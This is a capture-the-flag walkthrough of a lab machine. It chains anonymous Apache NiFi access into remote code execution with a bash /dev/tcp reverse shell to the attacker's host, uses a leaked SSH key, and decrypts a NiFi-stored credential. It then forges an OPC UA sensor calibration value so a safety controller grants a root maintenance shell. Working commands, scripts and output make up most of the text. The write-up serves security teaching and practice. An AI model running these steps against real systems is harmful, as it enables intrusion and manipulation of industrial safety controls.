Every command below was re-run against a live instance while writing this up, and the output is what came back. The target IP changes with every spawn, so substitute your own. The ports, node IDs and property names do not change.
Recontwo ports · a static plant · a hidden vhost
A fast sweep over all 65535 TCP ports to find out what is listening, then a slower scripted scan against only the ports that answered. Splitting it in two matters because -sVC across the full range takes minutes, while the same thing across two ports takes seconds.
db-d2@kali:~$ sudo nmap -sS -p- --min-rate 1500 --max-retries 2 -T4 --open 10.129.245.123 Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 23.27 seconds
db-d2@kali:~$ nmap -sVC -p 22,80 10.129.245.123 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA) |_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Helix Industries | Industrial Automation & Critical Infrastruc... |_http-server-header: nginx/1.18.0 (Ubuntu)
Two ports, and SSH is a modern OpenSSH on Ubuntu 22.04, so the web server is the entire attack surface. Curl the landing page before firing any scanner at it, because a corporate brochure usually tells you what the box is about faster than a wordlist does.
db-d2@kali:~$ echo "10.129.245.123 helix.htb flow.helix.htb" | sudo tee -a /etc/hosts db-d2@kali:~$ curl -s http://helix.htb/ | sed -n '/<body/,$p' \ | sed -e 's/<[^>]*>//g' -e 's/^[[:space:]]*//' | awk 'NF && !seen[$0]++' | head -12 Helix Industries Operations Center Services Capabilities Industries Contact Request a call Start a project Industrial Operations | Critical Infrastructure | Since 2014 Engineering Operational Certainty. db-d2@kali:~$ curl -s http://helix.htb/ | grep -oE 'href="[^"]*"' | sort -u href="#capabilities" href="#contact" href="#industries" href="#services" href="#top"
Strip the tags and read the words. The page is a single-screen brochure whose navigation is nothing but same-page anchors, whose contact forms are JavaScript modals with a submit handler that only closes the modal, and which has no robots.txt. There is a prominent Operations Center control in the header that leads nowhere, and that is the useful part. The site is telling you an operations application exists while refusing to say where it lives. On a box with two open ports and no second path under the web root, the only place left to put one is a virtual host.
Virtual-host fuzzing works here because nginx answers an unknown Host: header with a 154-byte redirect stub, which is nothing like the 43 KB brochure. Filtering on that one size makes the real vhost the only thing that survives.
db-d2@kali:~$ curl -s -o /dev/null -w "unknown host -> %{http_code} %{size_download}B\n" \ -H "Host: nope.helix.htb" http://10.129.245.123/ unknown host -> 302 154B db-d2@kali:~$ ffuf -u http://helix.htb/ -H "Host: FUZZ.helix.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -fs 154 flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 108ms]
One hit. The 1068-byte body is worth reading rather than just counting, because the application introduces itself.
db-d2@kali:~$ curl -s http://flow.helix.htb/ | sed 's/<[^>]*>//g' | grep -vE '^\s*$' NiFi Did you mean: /nifi You may have mistyped... but we'll try to redirect you in 5 seconds. db-d2@kali:~$ curl -s http://flow.helix.htb/nifi-api/flow/about | jq -r '.about | "\(.version) \(.buildTag) \(.buildTimestamp)"' 1.21.0 nifi-1.21.0-RC2 04/03/2023 21:28:28 UTC
Apache NiFi is a dataflow tool. You build a graph of processors in a browser, and every processor is a small piece of code that NiFi runs on your behalf, which is the whole foothold. The rest of the box is dressed as an OT plant, with the brochure as scenery and an OPC UA reactor simulation guarding root.
NiFi 1.21.0 does carry published CVEs, and checking them is the reflex. None of them are needed here. What follows is a configuration problem instead.
Foothold as nifianonymous access · execute-code · ExecuteProcess RCE
Two API calls decide whether this is going to be hard. The first asks whether NiFi even has a login, and the second asks who NiFi thinks you are.
db-d2@kali:~$ curl -s http://flow.helix.htb/nifi-api/access/config {"config":{"supportsLogin":false}} db-d2@kali:~$ curl -s http://flow.helix.htb/nifi-api/flow/current-user | jq '{identity, anonymous, restrictedComponentsPermissions}' { "identity": "anonymous", "anonymous": true, "restrictedComponentsPermissions": { "canRead": true, "canWrite": true } }
Login is disabled, so every request arrives as the built-in anonymous identity, and that identity has been granted write access to restricted components. Restricted components are the ones NiFi deliberately fences off because they let a flow author reach outside the JVM. The individual fences live in a separate array, and one of them is the one that matters.
db-d2@kali:~$ curl -s http://flow.helix.htb/nifi-api/flow/current-user \ | jq '.componentRestrictionPermissions[] | select(.requiredPermission.id=="execute-code")' { "requiredPermission": { "id": "execute-code", "label": "execute code" }, "permissions": { "canRead": true, "canWrite": true } }
An anonymous identity holding execute-code means anyone who can reach the port may create a processor whose entire job is to run a command. The permission is working exactly as designed, on a user who should never have had it. And the NiFi web UI is only a client for the REST API underneath, so anything the UI can do a curl can do without ever loading the page.
Picking the right processor
NiFi processors come in two kinds, and the difference decides whether the attack fires at all. Most are transforms. They sit waiting for a flowfile to arrive from an upstream processor, and with nothing upstream they never run. A few are source processors, which take no input and execute on their own schedule the moment you start them. ExecuteProcess is a source processor, so one of them alone on an empty canvas is enough. Its sibling ExecuteStreamCommand is a transform, and building the attack around that one means also building something to feed it.
Create one and read back its property descriptors, because guessing property names is the single easiest way to waste an afternoon here. NiFi accepts unknown property names without complaint and then ignores them.
db-d2@kali:~$ U=http://flow.helix.htb PG=$(curl -s $U/nifi-api/flow/process-groups/root | jq -r .processGroupFlow.id) PID=$(curl -s -X POST $U/nifi-api/process-groups/$PG/processors \ -H 'Content-Type: application/json' \ -d '{"revision":{"clientId":"x","version":0}, "component":{"type":"org.apache.nifi.processors.standard.ExecuteProcess", "name":"x","position":{"x":0,"y":0}}}' | jq -r .id) curl -s $U/nifi-api/processors/$PID \ | jq -r '.component.config.descriptors | to_entries[] | "\(.key) default=\(.value.defaultValue|tostring)"' Command default=null Command Arguments default=null Batch Duration default=null Redirect Error Stream default=false Working Directory default=null Argument Delimiter default=
The arguments property is called Command Arguments, not Arguments. Send the wrong name and the API still returns HTTP 200, the processor still starts, and it runs your command with no arguments at all, which for bash means it exits immediately and nothing ever connects back.
The second detail is Argument Delimiter, which defaults to a single space. ExecuteProcess does not hand your command to a shell, it splits the arguments string on that delimiter and execs the result directly. With the default, -c bash -i >& /dev/tcp/... becomes eight separate arguments and bash -c receives only the word bash. Change the delimiter to ; and the payload stays in one piece as exactly two arguments.
Optimistic locking
Every mutating call carries the object's current revision.version, which the server increments on each accepted write. Read it back between calls rather than counting. NiFi will forgive a stale version if the clientId matches the one that made the last change, on the grounds that a client is allowed to race itself, but a different client identifier gets refused.
db-d2@kali:~$ curl -s -w "\nHTTP %{http_code}\n" -X PUT $U/nifi-api/processors/$PID \ -H 'Content-Type: application/json' \ -d '{"revision":{"clientId":"someone-else","version":0},"component":{"id":"'$PID'","name":"stale"}}' [0, someone-else, d404ec7b-...] is not the most up-to-date revision. This component appears to have been modified HTTP 400
Fire it
Configure and start. autoTerminatedRelationships stops NiFi complaining that the success relationship goes nowhere, and a long schedulingPeriod keeps the processor from re-firing every second and stacking up shells behind the one you are using.
db-d2@kali:~$ LHOST=10.10.16.212; LPORT=4444 rev(){ curl -s $U/nifi-api/processors/$1 | jq -r .revision.version; } curl -s -X PUT $U/nifi-api/processors/$PID -H 'Content-Type: application/json' \ -d '{"revision":{"clientId":"x","version":'$(rev $PID)'}, "component":{"id":"'$PID'","config":{ "autoTerminatedRelationships":["success"], "schedulingStrategy":"TIMER_DRIVEN","schedulingPeriod":"3600 sec", "properties":{ "Command":"bash", "Argument Delimiter":";", "Command Arguments":"-c;bash -i >& /dev/tcp/'$LHOST'/'$LPORT' 0>&1"}}}}' curl -s -X PUT $U/nifi-api/processors/$PID/run-status -H 'Content-Type: application/json' \ -d '{"revision":{"clientId":"x","version":'$(rev $PID)'},"state":"RUNNING","disconnectedNodeAcknowledged":false}'
db-d2@kali:~$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.16.212] from (UNKNOWN) [10.129.245.123] 59320 bash: cannot set terminal process group (978): Inappropriate ioctl for device bash: no job control in this shell nifi@helix:/opt/nifi-1.21.0$ id; hostname uid=998(nifi) gid=998(nifi) groups=998(nifi) helix
A plain bash reverse shell over /dev/tcp, caught with plain netcat. This box needs neither a base64 wrapper nor a Python PTY payload, worth trying before reaching for anything more elaborate.
nifi → operatora key in the service's own diagnostics · user.txt
The shell comes back as nifi, an unprivileged service account, inside NiFi's install directory. There is no user.txt here and the plant's own directory is closed.
nifi@helix:/opt/nifi-1.21.0$ ls -ld /opt/helix; ls /opt/helix drwxr-x--- 9 root helixsvc 4096 May 5 10:18 /opt/helix ls: cannot open directory '/opt/helix': Permission denied
The OT services live in /opt/helix, owned by root and readable only by the helixsvc group, and nifi belongs to no group but its own. That closes off the sideways move into the plant and leaves NiFi's own files as the only place to look. Go through the directories a service writes for itself. Backups, state and diagnostic bundles are where operational secrets end up by accident.
nifi@helix:/opt/nifi-1.21.0$ ls -la support-bundles/ drwxr-x--- 2 nifi nifi 4096 May 5 10:18 . -rw-r----- 1 nifi nifi 411 Jan 25 2026 operator_id_ed25519.bak nifi@helix:/opt/nifi-1.21.0$ head -1 support-bundles/operator_id_ed25519.bak -----BEGIN OPENSSH PRIVATE KEY-----
An unencrypted ed25519 private key, 411 bytes, owned by nifi and readable by nifi. Somebody collected a support bundle from a management host and left the operator's key inside it. Copy it back to Kali and use it from there, which is worth the extra step because SSHing out of a raw reverse shell means no controlling terminal and a client that stops to ask about host keys.
nifi@helix:/opt/nifi-1.21.0$ base64 -w0 support-bundles/operator_id_ed25519.bak LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K... db-d2@kali:~$ base64 -d < key.b64 > opkey && chmod 600 opkey && ssh-keygen -l -f opkey 256 SHA256:UYZml1z6xpiv+uEWpsxWR6DbPgH+M5GtlEuV479ZaVo root@management (ED25519) db-d2@kali:~$ ssh -i opkey -o StrictHostKeyChecking=no operator@helix.htb operator@helix:~$ id; cat user.txt uid=1001(operator) gid=1001(operator) groups=1001(operator) 8·······························
The key comment is root@management. It was generated on another host and travelled here inside a diagnostic bundle, which is how this kind of leak usually happens outside a lab.
The OT layerloopback services · a tunnel · the plant's address space
The external scan found two ports. That answered a different question than the useful one, because a port scan from outside only ever sees what is bound to an external interface. Ask the host directly.
operator@helix:~$ ss -lnt State Recv-Q Send-Q Local Address:Port LISTEN 0 128 127.0.0.1:8081 <- HMI dashboard LISTEN 0 50 127.0.0.1:8080 <- NiFi, behind nginx LISTEN 0 100 127.0.0.1:4840 <- OPC UA LISTEN 0 128 0.0.0.0:22 LISTEN 0 511 0.0.0.0:80 operator@helix:~$ systemctl list-units --type=service | grep -i helix helix-hmi.service loaded active running Helix HMI Dashboard helix-plc.service loaded active running Helix PLC (OPC UA) helix-safety.service loaded active running Helix Safety Controller
Three services, all bound to loopback. 4840 is the registered port for OPC UA, the protocol industrial equipment uses to publish tags and accept commands, and 8081 is a dashboard. Forward both to Kali so the tooling can run locally.
db-d2@kali:~$ ssh -i opkey -o StrictHostKeyChecking=no -N \ -L 14840:127.0.0.1:4840 \ -L 18081:127.0.0.1:8081 operator@helix.htb & db-d2@kali:~$ curl -s http://127.0.0.1:18081/ | sed 's/<[^>]*>//g' | grep -vE '^\s*$' Helix Industries — Reactor HMI Maintenance window is NOT the same as MAINTENANCE mode. Window opens only when safety controller authorizes it under hazardous test conditions. Reactor Temperature: 280.8 °C Pressure: 68.83 bar Raw Temp: 280.8 °C | CalibrationOffset: 0.0 °C Safety Trip Active: False Rods Inserted: False Emergency Cooling: False Control Mode: NORMAL Test Override: False Test Mode Active: NO OPC UA (internal): opc.tcp://127.0.0.1:4840/helix/ Privileged Maintenance Window Status: CLOSED No maintenance window file present. This window is granted by the safety controller only when a hazardous test condition is detected (e.g., Temp ≥ 295°C or Pressure ≥ 73 bar) while still below trip.
The dashboard hands over the rule for free. Something grants a privileged maintenance window, and it does so when the plant looks dangerous but has not yet tripped. It also shows the shape of the temperature reading, splitting it into a raw value and a calibration offset. Browse the address space to see which of those an unprivileged client is allowed to touch.
import asyncio
from asyncua import Client, ua
async def main():
c = Client("opc.tcp://127.0.0.1:14840/helix/")
await c.connect()
async def walk(node):
for ch in await node.get_children():
nid = ch.nodeid.to_string()
if not nid.startswith("ns=2"): continue
bn = (await ch.read_browse_name()).Name
if await ch.read_node_class() == ua.NodeClass.Variable:
al = (await ch.read_attribute(ua.AttributeIds.AccessLevel)).Value.Value
rw = ("R" if al & 1 else "-") + ("W" if al & 2 else "-")
print(f"{nid:<12}{bn:<20}{rw:<6}{await ch.read_value()!r}")
else:
print(f"{nid:<12}{bn}")
await walk(ch)
await walk(c.nodes.objects)
await c.disconnect()
asyncio.run(main())| Node | Browse name | Access | Value | Role in the plant |
|---|---|---|---|---|
| ns=2;i=1 | Plant | — | object | root folder |
| ns=2;i=2 | Reactor | — | object | |
| ns=2;i=3 | TemperatureRaw | R– | 283.82 | what the sensor measures |
| ns=2;i=4 | Temperature | R– | 283.82 | what everything else reads |
| ns=2;i=5 | Pressure | R– | 68.98 | |
| ns=2;i=6 | CalibrationOffset | RW | 0.0 | added to raw to make Temperature |
| ns=2;i=7 | Safety | — | object | |
| ns=2;i=8 | RodsInserted | RW | False | |
| ns=2;i=9 | EmergencyCooling | RW | False | |
| ns=2;i=10 | TripActive | R– | False | latched by the controller |
| ns=2;i=11 | Control | — | object | |
| ns=2;i=12 | Mode | RW | 'NORMAL' | NORMAL or MAINTENANCE |
| ns=2;i=13 | TestOverride | RW | False | marks work as an authorized test |
| ns=2;i=14 | ResetTrip | RW | False | clears a latched trip |
The whole privilege escalation is visible in that table. Temperature is read-only and so is TemperatureRaw, but CalibrationOffset is writable, and the dashboard already said Temperature is the sum of the other two. Confirm the relationship rather than assuming it.
db-d2@kali:~$ python3 offset_test.py offset readback = 7.5 raw=283.97 calibrated=291.47 delta=7.50 offset restored to 0.0
The intended route hands you an OPC UA credential first. NiFi's flow definition holds a connection pool whose password is stored encrypted, and the key that protects it is sitting in the same directory in plaintext.
Read as nifi, conf/flow.json.gz contains "Database User":"operator" alongside a Password of enc{7de8f8ca9dda8c08...}, and conf/nifi.properties carries nifi.sensitive.props.key=TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl with nifi.sensitive.props.algorithm=NIFI_PBKDF2_AES_GCM_256. That algorithm name is a complete specification. PBKDF2-HMAC-SHA512, 160 000 iterations, a hardcoded salt of "NiFi Static Salt" that is not stored in the blob, then AES-256-GCM laid out as IV(16) ‖ ciphertext ‖ tag(16). Because GCM authenticates, a decrypt that returns without raising is certainly right, which means there is nothing to verify by hand.
Your ciphertext will not match the one above. NiFi rewrites the flow with a fresh random IV, so the blob differs between instances while the plaintext does not.
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.ciphers.aead import AESGCM props_key = "TUHh+YHA30zmdlcA8xq/elNBLPkO03Nl" # nifi.properties enc_hex = "7de8f8ca9dda8c08e8f622e35a3f5239e8dda7183a0acb65..." # enc{...} from flow.json.gz blob = bytes.fromhex(enc_hex) key = PBKDF2HMAC(hashes.SHA512(), 32, b"NiFi Static Salt", 160000).derive(props_key.encode()) print(AESGCM(key).decrypt(blob[:16], blob[16:], None).decode()) db-d2@kali:~$ python3 decrypt.py blob = 50 bytes -> IV 16 | ct 18 | tag 16 R7qZ9L3xKM2W8pFYcA
This is the OPC UA operator credential, not an OS password. It will not log you into the host, and it does not need to, because the SSH key already did that.
The plant accepts anonymous OPC UA sessions, and it accepts anonymous writes. Connecting with no credentials at all reads every node and successfully writes CalibrationOffset, with the change visible afterwards on the dashboard. The credential is clearly the designed path, and the rest of this write-up authenticates as operator because that is what the box intends, but the OPC UA server enforces nothing. In a real plant that is the more serious finding of the two.
root.txtforge the sensor · open the window · sudo console
operator has exactly one sudo entry, and it is the whole root path.
operator@helix:~$ sudo -l User operator may run the following commands on helix: (root) NOPASSWD: /usr/local/sbin/helix-maint-console operator@helix:~$ sudo /usr/local/sbin/helix-maint-console Maintenance window CLOSED.
The console refuses. It is a bash script, so once you are root you can read exactly what it wanted, and it is worth showing here because the check is the entire vulnerability.
FLAG="/opt/helix/state/maintenance_window"
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(cat "$FLAG")"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then echo "Maintenance window CLOSED."; exit 1; fi
...
systemd-run --quiet --scope --unit="$SCOPE" ... /bin/bash -p -iThe authorization is a file holding a unix timestamp. If the file exists and the number in it is in the future, you get /bin/bash -p -i as root. Nothing is signed and nobody is asked who wants the shell. The file sits under /opt/helix/state/, which is root-owned and closed to operator, so writing it by hand is out. It gets written by helix-safety.service, which runs as root and decides when to write it by looking at the plant.
The safety controller reads Temperature, the calibrated value, not the physical one. CalibrationOffset is writable by any OPC UA client. So an unprivileged client controls the number a root process uses to make a security decision, and can hold the reported temperature wherever it likes while the reactor itself stays at 284 °C.
What actually opens the window
The dashboard names a temperature threshold, but the temperature alone is not sufficient. The controller is a stripped PyInstaller binary, so rather than read its logic, establish it by experiment. Each trial below starts from a clean state and waits for any previous window to expire first, which matters because a window persists for its full duration and will otherwise make the next trial look like a success.
| Mode | TestOverride | Reported temp | Window |
|---|---|---|---|
| NORMAL | off | 284 (untouched) | CLOSED |
| NORMAL | off | 294 | CLOSED |
| NORMAL | off | 296 | CLOSED |
| NORMAL | on | 296 | CLOSED |
| MAINTENANCE | off | 296 | CLOSED |
| MAINTENANCE | on | 284 (untouched) | CLOSED |
| MAINTENANCE | on | 296 | OPEN |
All three conditions are necessary and together they are sufficient. That is a coherent safety design rather than an arbitrary combination lock. A hazardous reading on its own is an emergency, and the correct response to an emergency is to trip the reactor, not to hand somebody a root shell. Mode=MAINTENANCE plus TestOverride is how an engineer says "this reading is a test, I am standing at the panel, do not treat it as real." The controller then reasons that a hazardous condition during authorized testing is exactly when an engineer needs privileged access, and it grants the window. Every input to that reasoning is writable over an unauthenticated protocol.
Three writes are enough from a clean start. ResetTrip is only needed if an earlier experiment latched a trip, and no hold loop is required, since the window opens within about two seconds and then stands on its own.
import asyncio from asyncua import Client, ua async def main(): c = Client("opc.tcp://127.0.0.1:14840/helix/", timeout=20) c.set_user("operator"); c.set_password("R7qZ9L3xKM2W8pFYcA") await c.connect() W = lambda n, v, t: c.get_node(n).write_value(ua.DataValue(ua.Variant(v, t))) await W("ns=2;i=13", True, ua.VariantType.Boolean) # TestOverride await W("ns=2;i=12", "MAINTENANCE", ua.VariantType.String) # Mode raw = await c.get_node("ns=2;i=3").read_value() # TemperatureRaw await W("ns=2;i=6", round(296.0 - raw, 2), ua.VariantType.Double) # CalibrationOffset await asyncio.sleep(2) print("reported temperature =", await c.get_node("ns=2;i=4").read_value()) await c.disconnect() asyncio.run(main()) db-d2@kali:~$ python3 open_window.py reported temperature = 296.07 db-d2@kali:~$ curl -s http://127.0.0.1:18081/ | sed 's/<[^>]*>/ /g' \ | tr -s ' \n' ' ' | grep -oE 'Status: *OPEN *\([^)]*\)' Status: OPEN (~117s)
The window lasts under two minutes, so have the SSH session ready before running this. Then spend it.
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console [+] Privileged maintenance access granted [!] Window expires in 106 seconds [!] Session will be terminated automatically root@helix:/home/operator# id; cat /root/root.txt uid=0(root) gid=0(root) groups=0(root) a·······························
Neither component is individually wrong. The console really does require root to have written the authorization file, and letting an engineer in at the panel during a declared maintenance emergency is what the feature is for. Nobody owns the join between them. A number the safety controller treats as a sensor reading is the same number the console accepts as proof of authorization, and nothing in between asks where it came from.